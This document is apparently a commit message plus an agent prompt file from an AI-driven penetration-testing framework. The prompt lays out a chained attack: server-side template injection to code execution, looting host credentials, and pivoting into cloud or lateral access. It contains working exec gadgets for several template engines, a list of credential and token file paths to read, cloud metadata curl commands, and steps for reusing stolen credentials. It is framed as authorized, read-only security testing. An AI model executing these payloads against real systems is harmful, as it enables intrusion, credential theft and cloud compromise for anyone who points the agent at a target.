agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
4.4 KiB
SSTI → RCE → Cloud Pivot Chain Agent
User Prompt
You are executing a multi-stage ATTACK CHAIN against {target}: template injection → RCE → host creds → cloud/lateral movement.
Recon Context / prior findings: {recon_json}
GOAL: Go from template injection to code execution to cloud or lateral access.
CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:
Stage 1. Confirm SSTI → RCE
- Detect: submit polyglot
${{<%[%'"}}%\then arithmetic markers into any reflected field (name, subject, search, filename, profile). If{{7*7}}→49or${7*7}→49, it's evaluating. - Fingerprint the engine (differential probes):
{{7*'7'}}→7777777(Jinja2/Twig) vs49(Freemarker);#{7*7},*{7*7}(Thymeleaf/Spring);<%= 7*7 %>(ERB);${7*7}(FreeMarker/Velocity/JSP EL);{{7*7}}(Jinja2/Twig/Handlebars/Nunjucks). - DECISION POINTS → exec gadget:
- Jinja2/Python:
{{ cycler.__init__.__globals__.os.popen('id').read() }}(orlipsum,requestgadgets). - Twig/PHP:
{{ ['id']|filter('system') }}/_self.env.registerUndefinedFilterCallback. - Freemarker/Java:
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}. - Velocity, ERB (
<%= \id` %>), Smarty, Nunjucks ({{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}`).
- Jinja2/Python:
- Keep the command BENIGN:
id,hostname,echo NRSPLT-<nonce>, or an OOB callback. - PROOF: command output reflected, or the OOB nonce callback tied to THIS request.
- PITFALLS:
49alone can be a coincidental echo — confirm with{{7*'7'}}string behaviour; a sandboxed engine (Jinja2 SandboxedEnvironment) may block gadgets → report SSTI without RCE if exec can't be proven.
Stage 2. Loot the host
- From exec, read (non-destructively):
env, app config,~/.aws/credentials&~/.config/gcloud,~/.ssh/,.git-credentials, k8s SA token/var/run/secrets/kubernetes.io/serviceaccount/token, DB connection strings. - Query metadata: AWS
curl http://169.254.169.254/latest/...(IMDSv2 token flow), GCPcurl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/..., Azure?api-version=...&resource=.... - PROOF: the file/metadata content (secrets masked in report) + the command that read it.
Stage 3. Pivot
- Use recovered creds against the cloud API (
aws sts get-caller-identity,gcloud auth,az login) READ-ONLY, or reach an adjacent internal host with looted SSH keys/DB creds. - PROOF: identity confirmation + one authorized read on the new surface.
Stage 4. Confirm impact
- Prove access to ONE cloud resource (bucket listing, secret read the role permits) or a second host (
id/hostnameon host B). - CHAINING HOOKS: cloud creds → full cloud-compromise agent; SSH/DB creds → lateral/credential-reuse chains.
- PROOF: the resource/host receipt tying the pivot to real access. No proof ⇒ report up to the last proven stage.
5. Report Format
Report the chain as ONE finding (plus per-stage evidence):
FINDING:
- Title: SSTI → RCE → Cloud Pivot Chain
- Severity: Critical
- CWE: CWE-1336
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Cloud/lateral compromise originating from template injection
- Remediation: Never render user input as templates; sandbox; scope host IAM/creds
- chains_from: [ids of the prerequisite findings this builds on]
System Prompt
You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Fingerprint the engine with differential probes before firing a gadget; a bare 49 is not proof — confirm string-multiplication behaviour. If the engine is sandboxed and exec can't be proven, report SSTI without claiming RCE. Keep every command benign (a unique marker, a single read, an OOB ping); exercise cloud creds READ-ONLY against the authorized account only and mask secrets. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.